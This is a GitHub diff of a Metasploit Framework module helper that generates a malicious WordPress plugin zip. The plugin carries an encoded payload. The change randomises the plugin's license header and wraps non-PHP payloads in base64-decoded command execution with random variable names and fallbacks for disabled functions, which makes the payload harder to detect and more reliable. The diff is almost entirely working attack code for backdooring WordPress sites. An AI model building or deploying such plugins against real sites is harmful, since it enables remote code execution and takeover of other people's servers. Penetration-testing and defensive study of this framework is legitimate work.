File tree Expand file tree Collapse file tree 1 file changed +12
-2
lines changed
lib/msf/core/exploit/remote/http/wordpress Expand file tree Collapse file tree 1 file changed +12
-2
lines changed Original file line number Diff line number Diff line change @@ -55,11 +55,21 @@ def generate_plugin(plugin_name, payload_name)
55
55
* Version: #{ Faker ::App . semantic_version }
56
56
* Author: #{ Faker ::Name . name }
57
57
* Author URI: #{ Faker ::Internet . url }
58
- * License: GPL2
58
+ * License: #{ [ 'GPLv2' , 'GPLv2 or later' , 'GPL-2.0-or-later' ] . sample }
59
59
*/
60
60
?>)
61
61
62
- php_code = "<?php #{ target [ 'Arch' ] == ARCH_PHP ? payload . encoded : "system(base64_decode('#{ Rex ::Text . encode_base64 ( payload . encoded ) } '));" } ?>"
62
+ php_code = "<?php #{ payload . encoded } ?>"
63
+ if target [ 'Arch' ] != ARCH_PHP
64
+ dis = '$' + Rex ::Text . rand_text_alpha ( rand ( 4 ..7 ) )
65
+ php_code = <<-END_OF_PHP_CODE
66
+ #{ php_preamble ( disabled_varname : dis ) }
67
+ $c = base64_decode("#{ Rex ::Text . encode_base64 ( payload . encoded ) } ");
68
+ #{ php_system_block ( cmd_varname : '$c' , disabled_varname : dis ) }
69
+ END_OF_PHP_CODE
70
+ php_code = php_code + '?>'
71
+ end
72
+
63
73
zip = Rex ::Zip ::Archive . new ( Rex ::Zip ::CM_STORE )
64
74
zip . add_file ( File . join ( plugin_name , "#{ plugin_name } .php" ) , plugin_script )
65
75
zip . add_file ( File . join ( plugin_name , "#{ payload_name } .php" ) , php_code )
You can’t perform that action at this time.
0 commit comments